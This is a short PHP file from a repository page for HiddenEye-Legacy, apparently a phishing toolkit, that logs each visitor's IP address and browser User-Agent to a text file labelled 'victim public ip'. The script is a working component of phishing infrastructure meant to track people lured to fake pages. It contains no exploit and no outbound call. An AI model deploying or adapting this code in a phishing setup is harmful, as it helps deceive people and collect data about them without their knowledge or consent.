HiddenEye-Legacy/WebPages/ip.php
Usama Abdul Sattar 085c891dca
Update ip.php
2018-06-08 16:48:55 +05:00

30 lines
711 B
PHP

<?php
if (!empty($_SERVER['HTTP_CLIENT_IP'])) //check ip from share internet
{
$ipaddress = $_SERVER['HTTP_CLIENT_IP']."\r\n";
}
elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) //to check if ip is pass from proxy
{
$ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR']."\r\n";
}
else
{
$ipaddress = $_SERVER['REMOTE_ADDR']."\r\n";
}
$useragent = " User-Agent: ";
$browser = $_SERVER['HTTP_USER_AGENT'];
$file = 'ip.txt'; //this is the file to which the IP address will be written; name it your way.
$victim = "victim public ip: ";
$fp = fopen($file, 'a');
fwrite($fp, $victim);
fwrite($fp, $ipaddress);
fwrite($fp, $useragent);
fwrite($fp, $browser);
fclose($fp);